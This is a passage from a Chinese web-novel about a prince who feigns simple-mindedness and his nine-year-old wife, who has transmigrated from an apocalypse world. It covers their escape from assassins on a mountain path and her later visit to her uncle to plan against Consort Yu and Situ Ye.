司徒砚挑眉,看一眼他的袖子,似笑非笑道:“住持,出家人不打诳语。
天渺心里暗骂了句脏话,哼道:“不行,那药吃多了你会死的,半年一颗已经是极限了!
他盯着司徒砚,悄悄往后退了两步道:“你昨天已经吃过一颗了,半年以内不能吃,拿着它对你也没用!
看着他防贼一样,司徒砚无奈道:“住持,我此时又不傻,如非紧急时刻不会
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拿它当糖嗑的。
天渺没
忍住吐槽道:“那没准你傻的时候就喜欢嗑它呢?
司徒砚嘴角抽了下,苦笑道:“我如今不能按时每月苏醒……若紧要关头危机性命,没有这颗药,我便只能等死了。
天渺怔了怔,神情有了两分犹豫,但还在坚持:“言枫跟着你,应当没事吧?
“住持忘了冲喜前一天的事了?
司徒砚低头看着自己掌心的乱纹,桃花眼微微泛起涟漪,轻声道:“何况如今我还有要守护的人,住持,我不能一直一无是处,那样只会连累她。
天渺有些惊讶地看向他:“殿下是说皇子妃?
司徒砚点点头:“小棠儿才九岁,她本和这些事无关,全是因我之故才陷入这趟浑水,我再自私,也不能不管的死活。
天渺沉默片刻,想起那个小身影,到底还是给了司徒砚一颗丹药:“就一颗,多了没有啊!
司徒砚收起丹药,笑着道谢:“多谢住持。
话音刚落,便看见大佛殿外探出一颗毛茸茸的小脑袋来。
“你在谢他什么?
司徒砚:“……言枫真没用!
天渺:“……为什么你们家人走路都不出声!
谢元棠走进来,疑惑地大眼睛在司徒砚和天渺之间转来转去,而后先问司徒砚:“夫君,你还没回答我,你在谢他什么?
司徒砚微低着头,长长的睫毛盖住了桃花眼中的清明。
两秒之后,他再度抬头,眼中已经恢复了往日那股天真和憨气:“我想拜佛,让佛祖保佑你挣很多钱,老和尚说可以帮我写请愿牌,我在谢他。
“真的!
一提钱,谢元棠可就顾不了其他了,她盯着天渺,露出自己最灿烂的笑容,小手合十道:“住持方丈,请问这种愿怎么请才灵验?拜托你跟佛祖说,我要在最短时间内成为京城首富!
天渺:“……贫僧尽力。
谢元棠虔诚地拜完佛祖,才拉着司徒砚离开大佛殿。
回去的路上,她忽然仰头看向身边沉默寡言的夫君,皱起眉头道:“夫君,你今天怎么不叫我娘子啦?往日里你都‘娘子娘子’叫个不停的。
司徒砚:“……娘子。
第63章 殿下危险!
积着薄雪的山路上,司徒砚大手牵着谢元棠的小手。
他觉得自己并没有露出任何破绽,毕竟……本来就是他自己。
却没想到在他叫完“娘子”之后,手中的那只小手竟然“噌”地抽了出去!
掌心顿时一阵空虚寒凉。
司徒砚怔了怔,低头看着身旁的小姑娘。
小姑娘仰着头正看着他,大大的眼睛比天湖的泉水还要明澈,长而浓密的睫毛像是湖边弯垂的墨柳。
只是这双大眼睛这会儿不大高兴,皱着眉头糯糯甜甜地道:“不是‘娘子’,是‘娘子娘子’!”
司徒砚:“……”
第一次觉得,自己这个小皇妃当真是个普通的九岁孩童。
谢元棠歪着脑袋,头上的浅紫色毛茸茸小球调皮地晃下来,她眨眨眼,抓住他袖子缠人道:
“叫啊,你为什么不肯叫?”
“难道你不喜欢我了?你变心了对不对!”
“好你个司徒砚……”
司徒砚:“……”果然唯女子与小人难养也,小女子最难养!
司徒砚一个头两个大,终于,在谢元棠已经骂道“负心汉”的时候,妥协地开口:“娘子娘子!”
谢元棠满意地露出了小酒窝。
司徒砚松了口气,伸出大手:“我们先回去吧。”
谢元棠指指脚:“走不动了,要背。”
司徒砚一噎,心道你昨天爬山的时候还灵动如猴,今天才走几百米就走不动了?
他甚至怀疑谢元棠是发现了什么,所以才故意试探他!
但他没证据。
司徒砚叹了口气,认命地在小妻子面前蹲下,背起谢元棠继续往回走。
他心说:不过是背她,问题不大,只要她不再问那些缠人的问题就行。
念头刚闪过,就听见背上的小丫头趴在他耳边,阴恻恻地开了尊口:
“我看见老和尚给你东西了,他给了你什么?”
司徒砚脚下一个趔趄,左脚绊住了右脚!
好像终于体会到了天渺老和尚被吓到的心情。
谢元棠搂着他的脖子,嘟了嘟嘴道:“夫君好笨,走路都走不稳!”
你憋说话,我就走稳了!
司徒砚太
阳穴微微抽了下默默叹了口气道:“是给娘子你求的平安符回去再给你。”
“哦哦这样呀。”
谢元棠趴在他肩膀上眯了眯眼心中冷哼。
司徒砚有事瞒着她!
虽然她不知道他在搞什么鬼但他绝对不正常!
别人或许不会多想什么但谢元棠不一样她自己就是末世过来的见过的不正常东西太多了她研究室里一大堆呢!
此刻她甚至怀疑司徒砚被人魂穿了!
谢元棠看着兢兢业业给她当坐骑却比往常还要沉默寡言的夫君嘴角扯了个邪恶的弧度。
小样!姑奶奶面前耍大旗看姑奶奶怎么试探你!
“夫君这里的松叶好漂亮啊!”
谢元棠扯扯司徒砚的头发:“像刺猬!我想要一簇当书笺!”
司徒砚抬头看看不远处的古松没多想就点头道:“好啊
“不要我要最新的!”
谢元棠指着松树道:“夫君爬上去帮我摘!”
司徒砚:“……”
见他沉默谢元棠从他身上出溜下来郁闷地看着他:“夫君是不是嫌棠棠烦人了?果然你就是不喜欢我了难道你喜欢老和尚?”
他喜欢天渺?
司徒砚太阳穴又抽了下下颌紧绷着面上还要维持当傻子时的天真烂漫:“我当然最喜欢娘子啊不就爬树嘛爬!”
“夫君真棒!夫君加油!夫君爬它!”
……
等言枫从昏迷中苏醒赶过来时就看见司徒砚毫无形象地爬在树上正在那里挑松针。
“这颗行吗?”
“太小啦。”
“这个呢?”
“太老啦!”
言枫:“……”没眼看真的没眼看!
言枫捂着眼默默退场。
一刻钟后司徒砚终于从树上爬下来委屈地走到谢元棠跟前:“娘子欺负我!”
那双桃花眼傻气可爱委屈巴巴的看得谢元棠有点心虚:“……没有。”
司徒砚气哼哼地把松针塞给她转身往前走。
只是大手却还不忘拉住她怕她摔了。
谢元棠狐疑地偷瞄他。
难道她多疑了?傻夫君只是偶尔看起来聪明了点
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司徒砚察觉到她偷看的目光心里微微叹息。
小丫头太聪明了点他大概骗不了多久啊!
——
因为冷蕴菀执意不肯下山谢元棠只好让罗吉和白芙暂时留了下来。
幸好来的时候她已经做好了两手准备就算冷蕴菀现在不愿意离开至少被褥衣服药材什么的不会缺这少那。
一大早白芙还下山买了两个丫鬟都是穷苦人家的女儿冷蕴菀给重新赐了名一个叫秋儿一个叫冬儿。
白芙暂时留在这里几日好教教她们如何照顾冷蕴菀罗吉也被谢元棠留了下来虽然冷蕴菀说华觉寺的师父都很照顾她但谢元棠不放心所以留了罗吉下来保护几人。
等她回去找些人手再将白芙和罗吉换回去。
交代完这些琐事谢元棠又陪了冷蕴菀半天待吃过中饭便和司徒砚还有言枫三人一起下山了。
只不过言枫是自己走的而谢元棠有坐骑(司徒砚)!
司徒砚背着谢元棠沿着山道往下察觉到小丫头一直沉默不高兴的样子不由道:“过几日我们可以再来。”
谢元棠摇摇头毛茸茸的小脑袋在他脖子里拱来拱去痒痒的。
“我不是舍不得娘亲只是在发愁。”谢元棠声音闷闷的。
司徒砚就觉得背上的小东西真可爱小小年纪总是说些大人的话。
只怕冷蕴菀都未必有她发愁。
“愁什么?”司徒砚问道。
“愁人啊。”谢元棠叹了口气老神在在道“我能用的人太少了连找个可信的人照顾娘亲都找不来。”
司徒砚微怔原来她在担心这个。
他想了想状似不经意地提及道:“娘子不是有佛音阁的扳指吗?可以找他们兑换承诺。”
以佛音阁的势力找几个有身手又可信的下人再简单不过了。
“不要
谢元棠嫌弃地撇撇嘴:“夫君我跟你说昂这种故作神秘的都不是好东西你要记牢。”
司徒砚:“……好。”
谢元棠又笑笑打了个响指道:“不过我已经想到办法了!”
她没有人但她可以求援啊!
司徒砚正想问她想到了什么办法话还没出口脸色猛地一变。
与此同时言枫大喊:“殿下小心有刺客!”
第64章 跳崖!
司徒砚背着谢元棠,快速地往旁边躲了好几步。
下一瞬,一连五个穿着黑衣的杀手就朝三人杀了过来。
言枫武功高,但这些杀手竟也不弱。
他一人一挡三已经是极限了,当下连忙喊道:“殿下,皇子妃,你们先走!”
司徒砚眉眼微沉。
他此刻是可以出手,但那样势必会在谢元棠面前暴露。
谢元棠手指微动。
她可以用银针用毒,但那样就必须跟司徒砚解释她为何会这些。
两人各有所思,谁也没说话。
不是信不过,只是那是他们的底牌,事关生死,怎可轻易暴露。
短暂的沉默中,两人都没有注意到对方其实异常的安静。
“主子,快走!”
言枫一剑刺穿黑衣人的肩膀,回头喊道。
眼看另外两个杀手冲过来,司徒砚想也不想,背着谢元棠就跑。
以言枫的功夫,就算打不过,逃生绝对没有问题,只要他们别留下添乱就行。
司徒砚这样想,谢元棠也这样想。
此时此刻,两人异常默契。
司徒砚背着她在蜿蜒的山道上跑,谢元棠回头看着紧追不舍的杀手。
眼看其中拿出了弓箭,谢元棠脸色一变,想也不想就道:“夫君,走左边!”
左边是树林,更有利于他们躲藏,有树木遮掩,她也方便做些手脚。
她开口的同时司徒砚已经感觉到身后的异样,第一反应也是往左!
两人一闪身冲进树林,徒留地上射空的弓箭。
“嘁!”
杀手见没射中,烦躁地踩断那支箭,骂道:“两个不会武功的废物,怎么跑这么快!”
尤其是那个傻子五皇子,他还背着个人,怎么跑得比他这个杀手还快!
趁着躲开杀手的空挡,司徒砚将谢元棠放在树后一个茂盛的草丛里。
她个子低,这样一遮掩,不仔细看根本看不出来。
“你躲在这里,别出声,我去引开他们。”
司徒砚快速说完,转身就想走,却不想下一瞬猛地被一个小身影给扑倒在地!
谢元棠咬牙,不客气地抬起小手,一巴掌呼在他脑门上。
“引什么引!给我趴好了!”
傻夫君又不会武功这一出去保准没命。
她却是忘了方才是谁背着她跑得飞快的。
司徒砚:“……”
谢元棠小脸阴沉无比傻夫君指望不上她得保护自己还得保护他。
得赶紧想个办法才行。
看着小丫头紧张地冷汗都出来的小脸司徒砚眉心微蹙:“其实我……”
“闭嘴!”
不等他开口谢元棠就打断他的话同时小手快速脱衣服:“不行我们不能躲这里把你衣服脱了扔这儿咱们跑。”
司徒砚挑了挑眉看着身旁到了这个时候也没有想过扔下他的小妻子嘴角不自觉微微勾了一下。
“好我听娘子的。”
他倒是有点好奇他的小妻子打算怎么带他逃生。
反正就算跑不了他也一定会护着她就是了。
两人脱了外衣谢元棠拉着司徒砚随便找了个方向就跑。
她对这里到底不熟司徒砚却是认识的他挑了挑眉。
如果没记错的话这条路前方应该是……
“靠!竟然是悬崖!”
谢元棠骂了句脏话气得跺脚抬手朝天比了个中指:“丫的老天爷你这是要亡我大佬棠啊!”
小短腿在那里跺跺跺看起来好像两根萝卜成精了!
虽说是生死关头但司徒砚还是被自己这个想法给逗得忍俊不禁。
看着小丫头着急的样子他叹了口气伸出大手轻柔地揉了揉她的发顶说:“不怕我会保护你的。”
不过是暴露武功暴露他真实的样子罢了。
如果是她应当不会跟其他人一样觉得他是个怪物吧?
就算她也会把他当怪物也没关系至少先保住她的命再说。
司徒砚一边想着
杀手追过来了!
他下意识往前半步五指成爪缓缓运功。
有动静刺客追来了!
谢元棠眯了眯眼她的银针和毒可以对付杀手但她的身体太弱了不确定能在几个杀手的围剿下连续使用空间。<
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只有她自己一个人还行但如果要护着傻夫君她没有那么大把握
。
谢元棠短暂的思考一秒下一瞬干脆无比地扯着司徒砚就往悬崖下跳!
司徒砚正要运功大手被她这么一抓差点没内力暴走!
“干什……”
“快下来!”
谢元棠手脚并用攀在崖壁的石头上仰头催促发愣的司徒砚:“我看过了这里的石头不少能爬下去你快点!”
“别跟我说你恐高啊就跟爬树一样快!”
司徒砚:“……”是他没想过的路子。
他眼中闪过一抹笑意点点头道:“好爬它!”
两人一路跟壁虎似的飞快往下爬。
司徒砚始终紧跟在谢元棠旁边只要她稍微有点抓不住的情况他就会出手。
但实际上谢元棠爬得比他还快!
小小的一只不知道哪里来的灵活度“嗖嗖嗖”几下就下去了。
司徒砚眯了眯眼怎么感觉她好像会功夫?
但这可能吗?
不确定再观察观察。
两人往下爬了十米左右杀手就追了过来。
谢元棠和司徒砚同时抬头。
这次不等谢元棠开口司徒砚大手一捞直接将她捞过来抱在怀里同时长臂一展脚尖快速踢在山石上。
只一个瞬间谢元棠觉得她似乎只是眨了一下眼的功夫!
司徒砚就已经带着她闪身躲进了嵌在山壁间的一个山洞里。
紧接着小碎石从头顶落下
“找到人了吗?”
“找个屁!连个影子都没有该不会摔死了吧?”
“靠这俩人怎么跑那么快?难道我们的轻功真这么差吗?”
“就就是他们都不用喘气的吗?”
山洞里听见这话的谢元棠和司徒砚对视一眼都是一愣。
诡异的尴尬只有半秒钟。
下一瞬反应过来的两人同时大口喘息。
司徒砚露出憨笑桃花眼中尽是单纯:“娘娘子……还好我们跑跑得快。”
谢元棠点点头大眼睛眨巴眨的满是天真无邪:“是是啊……好累啊……”
第65章 拉了坨大的
说完,两人又同时沉默,看着对方。
分明各怀心事,却又神色不同。
谢元棠坦荡直白,一双黑白分明的大眼睛轻轻一眨,就那样直直地盯着司徒砚。
司徒砚:“……”
明明他这么多年都是如此过来的,但此刻被那双清亮的眼眸盯着,他就是——
心虚!
心虚得不行!
司徒砚微微抿唇。
这个秘密是他的生死符,是他绝不会轻易亮于人前的心脏。
在他过去的计划中,从来没有一个名字叫“谢元棠”。
这个小丫头意外地闯入,在所有人都轻视他排斥他的时候,只有她将他当个人。
教他,护他,为他跟皇室那些人一次次过招,一次次谋算。
他感激她,怜惜她,喜欢她。
这份喜欢无关年龄和性别,不带任何男女绮色,只不过是因为世界上出现了这么一个小姑娘,让他想要保护她,也想守护那个在她面前坦然率真的自己。
放在膝盖的修长手指微不可查地往回缩了下,司徒砚避开她的视线,低声道:“我其实……有点问题。”
谢元棠:“哦。”
整个玄昭国,谁不知道他有问题?
司徒砚:“……其实有的时候,我跟平常不太一样。”
谢元棠想起他那些发病的传闻,问:“上回在围猎场的山涧边你也是这样?”
司徒砚点点头。
“这样啊……”
谢元棠两条小短腿一直一曲,一只胳膊搭在膝盖上,小手摸着下巴,皱着眉头思索片刻道:“懂了。”
司徒砚:“……你懂了?”
他都还没坦白完,她这就懂了?
还如此平静地接受了?
谢元棠小手一挥,满不在乎道:“这有什么?多大点事。”
司徒砚:“……”他们说的是一件事吗?
不过不管怎样,她没有将他当做怪物,真好!
谢元棠内心:不就是偶尔发病的状态下会超常发挥嘛!这有什么大不了的!
她一边想着,一边还伸出小手把了把司徒砚的脉。
果然,跳得极快,脉象失衡,跟他上回状况相似。
司徒砚低头看着
谢元棠替他把脉的举动。
司徒砚内心:他都坦白过了应该也有资格问一问她了吧?
于是司徒砚清了清嗓子开口:“娘子你会医术啊?”
“嗯?”
谢元棠瞬间小兽龇牙大眼睛不客气地瞪他奶凶奶凶道:“你管我!”
司徒砚:“……”
这跟想象中的坦白局不太一样啊。
他犹豫着道:“可我都告诉你了……”
“我让你说的?”
“……不是。”
“我问你了?”
“……没有。”
谢元棠翻了个白眼小脑袋傲娇地一抬鼻子哼哼:“那不就结了!”
司徒砚一噎一时间百感交集。
所以她并没有要求他坦白
谢元棠看看他眼珠滴溜溜地一转小脑袋凑近往前一趴。
两只小胳膊交叠搭在司徒砚的膝盖上仰头望着他跟小精灵似的甜甜地笑。
“夫君~我不告诉你你生气吗?”
司徒砚看着她可爱灵动的小脸微微笑着摇了摇头:“不生气。”
每个人都有秘密她有自保手段是好事他并不强求她对自己坦白一切。
谢元棠嘻嘻一笑小酒窝在光线的反射下若隐若现。
她伸出小手跟给大狗顺毛似的摸摸司徒砚的垂在肩前的墨发又轻轻拍拍他的俊脸:“这才乖~”
司徒砚:“……”虽然但是你能别跟摸狗狗似的摸我头吗?
谢元棠一本正经的教夫:“夫君你要记住允许女生有秘密的男人才是好男人哦~”
小小的人儿也不知道哪里练就的一开口就是一副老忽悠的架势。
司徒砚被她逗笑忍不住伸出手轻轻捏了捏她苹果似的脸蛋宠溺地附和她:“那么好男人自己是不是也可以有秘密呢?”
谢元棠笑容灿烂声音甜腻:“不知道呀~你试试呢?”
司徒砚:“……”不敢试不敢试。
谢元棠“哼”了一声将腰侧的小水壶拿出来递给司徒砚命令道:“喝水!”
他们跑了这么长时间也确实渴了。
司徒砚
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没多想,接过来喝了两口才意识到不对。
这个味道怎么这么像……
他顿时抬头:“你给我喝的什么?
谢元棠笑咧咧:“就你平常喝的茶啊。
兑了解毒丸和营养液的茶!
司徒砚一噎,张口想说什么,眼前却一阵阵发黑发晕。
完球!
他要被压回去了!
“你……
刚想说话,司徒砚就失力往后栽倒。
晕过去前一秒他还在想,本来他能醒过来三天,至少能撑着把谢元棠带回去。
可现在才刚出来就又要回去了,关键是他也没想到自己这个小皇妃能说动手就动手,完全不跟人商量的!
希望变傻以后的自己能机灵点,至少保护好她……算了,还是寄希望于言枫快点找到他们吧。
谢元棠看着晕过去的司徒砚,眨眨浓密的长睫,嘟囔:“奇怪,刚才一瞬间好像在夫君脸上看到了很复杂的表情……
谢元棠摇摇头,自言自语:“大概是错觉吧,我那个傻夫君怎么可能复杂得起来?
她一边说,一边拿出银针,扒拉开司徒砚的衣服露出胸膛,开始下针。
将那些些许扩散的毒素一一地强行压制回去,不给它们一点往外泄露的机会。
等做完这些,谢元棠才擦了擦汗,累得喝了瓶营养液,而后干脆躺在司徒砚身边,枕着他的胳膊闭上了眼睛。
这次的意外让她觉得自己得多带点毒药,以防不测,还得带一些辅助工具。
比如解剖刀啊,手术刀啊,大砍刀啊……
这么想着,谢元棠意识一闪。
下一瞬,她的神识便出现在随身研究室里。
本来只是进来拿个东西,毕竟她的身体太弱,支撑不了她长时间待在空间研究室里。
但谢元棠没想到自己几天没来,家里竟然翻了天!
她看着实验桌上那一大坨,一时间整个神识都抖了三抖!
她只是几天没来而已,他们竟然敢给她拉了坨大的!
倒反天罡!
简直倒反天罡!
谢元棠瞪着身后那群低着头心虚的丧尸,睚眦欲裂地怒吼:“谁拉的!
第67章 只要你说的,我都会记住!
四哥?司徒烨?
谢元棠握着铁令牌,眼皮眯了眯。
很好,这么玩是吧?
“殿下,皇子妃!”
言枫的声音传来,谢元棠转过头,看见他气喘吁吁跑来,脸上和衣服上都沾了血,不知道是他自己的还是敌人的。
言枫急道:“殿下,你们没事吧?”
司徒砚皱眉,不解又担心:“没事啊,言枫,你怎么流血了?”
这话一出,谢元棠没什么反应,言枫却傻了:“我没受伤,但是殿,殿下,你……”
不是说能苏醒三天吗?怎么此刻的司徒砚看起来像是掉线挂机的样子?
言枫急忙看向谢元棠,问道:“皇子妃,发生什么事了?殿下怎么……”
“他怎么了,不是很好吗?”谢元棠挑眉,“还是你觉得他不应该失忆?”
言枫一噎,结巴道:“没,没有。”
他不知道谢元棠知道多少,哪里敢再露馅儿。
谢元棠站起身问:“刺客呢?”
言枫立刻正色道:“死了三个,跑了一个。”
“尸体呢?搜出什么没有?”
“有……”言枫犹豫一瞬,他本来是想跟司徒砚汇报的,但眼下司徒砚又成了这样,能做主的人就只剩下谢元棠了。
言枫将三块铁令牌拿出来:“只搜到这个。”
司徒砚:“咦?娘子,跟我们搜到的一样!”
谢元棠冷冷一笑,收好四块令牌:“先回去再说。”
三人下了山,言枫驾车,速度比来时不知道快了多少。
马车内,谢元棠将那几块铁令牌看了又看,小脸严肃,周身弥漫着一股骇人的冷意。
还是她大意了,想着华觉寺离城就半日行程,加上皇上和言家都知道她和司徒砚来了华觉寺,如此光明正大的行程,那些人竟然还敢动手?
而且……
谢元棠盯着手里的铁令牌,两次意外,敌人的风格如此迥异,不像是同一人做的。
不,应该说是三次……
还有冲喜那晚,司徒砚差一点死于毒发。
谢元棠眉头紧锁,大脑快速地转动着。
一旁的司徒砚见状,犹豫着开口:“娘子,你怎么不说话?”
“嗯?”
谢元棠抬头,习惯性地哄他:“没有啊,我……”
“你有——”
“都皱起来了。”
司徒砚伸出修长的手指,食指轻轻点在她的眉心,温热又带着薄茧的指腹轻柔地按了按。
傍晚的阳光打在他的侧脸上,玉雕般精致的美貌仿佛上帝单独给他开了滤镜。
下一瞬,就听见司徒砚开口:“好像零号呀!”
咔嚓!
滤镜破碎!
谢元棠无语地瞪他。
这是什么宇宙级别的钢铁直男!竟然说她像丧尸!
谢元棠正要捶他,忽然听见司徒砚认真问:“娘子,我们是不是被人欺负了?”
谢元棠手一顿,司徒砚轻声道:“那个人不是睡着了对不对?以前也是这样,言枫和言墨他们流了血都不告诉我。”
“我知道我笨,帮不上什么忙,可是……”
他抓住谢元棠的手,目光赤诚又坚定。
“娘子你可不可以不瞒着我?我或许笨,或许听不懂,但我记住你说的每一个字的,只要你说,你教我,我都会去做的。”
“我想保护娘子,想保护大家,不想做一个没用的人。”
谢元棠看着他,一时间不知道该说什么。
车外,驾着马车的言枫微微握紧了鞭子。
他们都以为他不懂。
可再傻的人,一次次的重复着被欺负被伤害,这么些年下来,又怎么可能完全不懂?
谢元棠沉默片刻,视线落在他握着自己的那只大手上,微微一笑,小手反握住他的手指道:“好,我教你。”
“真的吗?”
司徒砚桃花眼瞬间一亮,开心地想要跳起来,只是刚站起来一半,脑袋就磕在了车顶上,顿时又疼得坐了回去。
“噗~”谢元棠被逗笑,“这是马车,你站起来干吗?”
司徒砚脱口而出:“我总看娘子你想站就站,忘了自己这么高了。”
谢元棠:“……”笑不出来了。
谢元棠眯着眼睛:“夫君,我发现你最近很飘啊!”
跟她那些丧尸宝贝一样,几天不管
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,都敢给她拉一坨大的了!
司徒砚眨眨眼:“飘?是说我飘
亮吗?娘子你口音好奇怪呀!”
神他妈口音!
司徒砚还没察觉自己大难临头了还凑过去捏谢元棠的脸:“娘子你怎么不笑了?是不爱笑了吗?”
谢元棠:“……”
谢元棠深吸口气伸出奶呼呼的小拳头一边念咒语:“世界如此美好我却如此暴躁这样极好极好!”
司徒砚额头问号肿么感觉这话听得有点不对劲?
不等他想明白下一瞬谢元棠的张牙舞爪小兽拳就捶了过来!
“敢说我丑敢嫌我口音还敢阴阳怪气我简直倒反天罡!”
“哇呀呀呀看我妻纲拳十八式!你别躲给我过来!”
司徒砚捂着脑袋缩在角落里磁性的笑声飘得满车都是:“娘子你别打了我怕痒痒……”
驾车的言枫:“……”我不该在车上我应该在车底。
他也是奇怪了好像他们这个小皇妃压根就不知道什么叫害怕明明刚从生死关头走了一遭她竟还能如此疯癫!
事实证明
言枫还以为她答应了要教他是从“之乎者也”慢慢教起谁知道谢元棠开口第一句就是:“记得刚才我们超度的那个人吗?他不是睡了他是死了被我砸死的。”
顿了顿又补了一句:“哦也可能是被你用鞋耙子拍死的。”
言枫:“……”好血腥的教学他家殿下不会承受不住吧?
他正想扭过头干涉一下教学进度就听见他家殿下乖巧却又让人毛骨悚然的声音:
“那他好脆啊!一拍就拍死了跟苍蝇似的!”
马车一个趔趄言枫差点滚下车。
满脑子都是司徒砚那句“跟苍蝇似的”无限循环惊悚骇人!
果然哪怕他家殿下傻了骨子里也不是一般人!
“你这比喻恰到好处果然两天学堂不是白上的。”
谢元棠认证地夸了他一句又问:“害怕死人吗?”
司徒砚摇摇头又点点头桃花眼中却流露出恐惧来紧张地看着谢元棠:
“娘子那刚才你是不是差一点就死掉了?”
谢元棠挑了挑眉:“是差亿点点。”
第68章 我也帮忙杀人了!
谢元棠心想,以她的手段,方才都算心慈手软了。
毕竟连解剖刀都没用上。
言枫却是想起悬崖边那个嘴里被喂屎的刺客,忍不住打了个寒颤。
这还是他第一次同情一个刺客,那死法……啧啧,估计阎王爷都嫌他有味儿!
三人一路疾驰回城,路上,谢元棠顺带给司徒砚上了第一趟课。
简而言之就一句话——解剖的八十八种手法。
司徒砚听得津津有味,言枫听得瑟瑟发抖。
不过好在,瑟瑟发抖的不止他一人,还有得知谢元棠和司徒砚没死的虞贵妃。
莞月宫。
“哐当!”
茶杯盖掉在地上。
“你说什么?”
虞贵妃脸都白了,狠狠地盯着面前唯一生还的刺客,咬牙问道:“他们没死?”
“是,是……”
“你们去了五个人,竟然还杀不了两个不会武功的废物!”
那人低着头,捂着被砍断的胳膊道:“他们身边的护卫太厉害了,我们几个弟兄都折在他手里,还有……”
他顿了顿,不甘道:“五皇子和那个小皇妃太能跑了,还会爬悬崖,我们……追不上他们。”
“简直废物!”
虞贵妃气得要死,站起身走过去,一脚将那人踹倒在地。
“杀杀不过,追追不上,连爬你们都爬不过对方,本宫是让你们去杀人,不是让你们去给人家表演节目的!”
刺客被踹得吐了口血,还不敢反抗,只低着头道歉:“娘娘恕罪,娘娘恕罪……”
虞贵妃眼神中闪过一抹狠厉,正想说什么,宫女忽然从外面小跑进来,低声道:“娘娘,殿下来了。”
烨儿?
虞贵妃微微一僵,眉心微蹙,嫌恶地看了眼地上的人,冷声道:“还不滚?”
“是,是。”
刺客赶紧起来,麻溜地从后门离开。
“母妃。”
司徒烨大步进来的时候,正好看见宫女趴在地上,不知道在擦着什么:“这是怎么了?”
“哦,不小心打翻了茶水而已。”
虞贵妃露出得体的笑容,亲切地拉着儿子走到外间坐下:“怎的这时来了?你父皇不是
给你派了差事吗?
“已经做完了,刚去向父皇复命,顺道来看看母妃。
司徒烨说着,随意地问了句:“对了,听虞龙说母妃从虞家调了人?不知是做什么去了?
虞贵妃手指一顿:“本宫还能做什么?不过是怕你人手不够,想让他们去帮你罢了。
“哦?是吗?司徒烨目光微闪,却没有继续问,“如此,倒是儿子不孝,让您操心了。
“母妃就你一个儿子,不为你操心还替旁人操心不成?
虞贵妃拍拍儿子的手背,语重心长道:“你只要好好替你父皇办事就好,别的都不用管,母妃自会替你打点好一切的。
她的儿子一点都不必太子差,凭什么不能争那个位子!
母子俩说了会儿话,司徒烨才从莞月宫离开。
只是刚走出宫门,他脸上的笑容就收了起来。
别人不知道,但他刚一进去就闻见了血腥味。
母妃果然有事瞒着他!
“殿下……
“让虞龙来见我。
“是。
——
马车进了京城,却没有回皇子府,而是依着谢元棠的吩咐,直接去了言家。
“吁——
言枫跳下车:“殿下,皇子妃,到了。
司徒砚先下,而后无比自然地伸手,叉着谢元棠的胳肢窝,跟抱小孩儿一样将她抱了下来。
这还是谢元棠第一次来言家。
她看着门口的青砖旧门,有些意外道:“这……和我想象中的不大一样啊。
言关清好歹是个太傅,怎么住的地方这么寒酸?
言枫嘴角抽了下,小声提醒:“言家家风清正,小皇妃,您待会儿也别乱说话。
谢元棠大眼睛眨巴眨:“开玩笑,我什么时候乱说话过?
她哪次说话不是一针见血!掷地有声!字字箴言!
言枫:“……但愿他们待会儿不会被赶出来!
言家门口少有人来,三人这么大咧咧往门口一站,守在门口的随从看见,顿时惊讶得僵在了那里。
“殿,殿下?
“
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咦?
随从脸顿时一红,看了眼司徒砚一样,又别扭地移开了目光。
谢元棠恍然大悟,笑着朝司徒砚比了个大拇指:“看来夫君你的美貌已经到了无人不知的境地了啊!
司徒砚摸摸自己的脸:“我怎么没觉得?挺平平无奇的呀~
谢元棠笑道:“你要是平平无奇,那言枫不是丑得惨绝人寰了?
无辜躺枪的言枫:“……他也没那么丑吧!
谢元棠看向随从:“我们能进去吧?
“能,能的。随从忙道,“老爷吩咐过,殿下和皇子妃若是来了,不必通报随时可以进去。
嘿,舅舅还怪好的!
谢元棠拉着司徒砚跟着随从往里走。
言家不大,院子里却专门辟出来一块空地栽满了竹子,微风吹过竹叶,带起飒飒的轻响,很是幽静。
司徒砚目光落在那片竹林上,眼前忽然浮现出一些模糊的记忆。
他皱了皱眉,怎么感觉他好像来过这里似的?
言关清正在书房里看书,得知他们到来,便直接让人将茶摆在了书房中。
看着一大一小两人进来,言关清笑着道:“不是才从华觉寺回来,怎么急着来我这里了?
“舅舅,我们被人追杀了!
谢元棠开门见山地说。
言关清闻言,脸色骤变:“可有受伤?在哪里遇到的,可知对方是谁?
谢元棠点点头:“不止知道,我还杀了一个呢。
她说杀人的时候语气太过平淡,就跟吃了顿饭喝了口水一样,让言关清微微顿了下。
谢元棠当做没看见,将几块铁令牌放在桌上道:“这是从他们身上搜出来的,我怀疑对我们下杀手的人是司徒烨和虞贵妃。
言关清皱了皱眉,没有立刻说这事,而是先看向司徒砚道:“砚儿,你先出去玩会儿。
“我不要。
他刚开口,司徒砚就打断他,脚步往后一挪站在谢元棠身后:“娘子说了我可以听的。
言关清眉头皱得更深。
司徒砚生怕他嫌自己没用,急得一弯腰脱下鞋:“我也帮忙杀人了!就是用这个拍死他的!
言关清:“……
第69章 想让她忍,门儿都没有!
看着一手举着鞋站在自己的跟前的大外甥,言关清表情很复杂。
“你先把鞋放下。”
清冷的脸颊抽搐两下,言关清叹道:“这样对着我,总感觉你下一秒就要拿它拍我一脸血。”
司徒砚:“……我没这么想。”
言关清:“呵呵。”
司徒砚桃花眼眨了眨,转头问谢元棠:“报告娘子,这里有人阴阳怪气!”
言关清有些哭笑不得,看着旁边古灵精怪的小丫头,好奇地问:“你到底教了他一些什么?”
谢元棠笑笑,小酒窝多可爱,说出的话就多暴力:
“很简单啊,我就告诉他呵呵的都不是好人,谁呵呵你,你就揍他,要是不能揍的,你就骂他阴阳怪气。”
言关清:“……”所以他是被骂了?
司徒砚穿好鞋,跟谢元棠挤在一个太师椅里坐着,那双似是故人的桃花眼执拗地盯着言关清:“你说吧,我会努力听懂的。”
言关清心里忽然就软了,微微勾了勾唇道:“好。”
他也不管他,转头跟谢元棠谈刺客的事,司徒砚就坐在一旁,一会儿看看他,一会儿看看谢元棠,时而歪歪脑袋,时而又好像明白了什么,哀伤地低下头。
谢元棠说完自己的分析,看着言关清问道:“所以,我想问一问舅舅,您觉得我接下来如果跟司徒烨和虞贵妃打起来的话,能有几分胜算?”
“嗤。”
言关清似笑非笑地扫了眼一肚子坏水儿的小丫头:“只是来问一问我?难道不是来找我帮忙来了?”
谢元棠被戳穿了心思,也不遮掩,红嫩的小嘴一弯,甜甜地撒娇:“哎呀舅舅~看透不说透嘛!”
言关清:“……”
他没跟两人开玩笑,而是认真道:“言家是文臣,以我如今的能力,只要你们不出城,护着你们俩没问题,但若是跟四皇子一派敌对,胜算不大。”
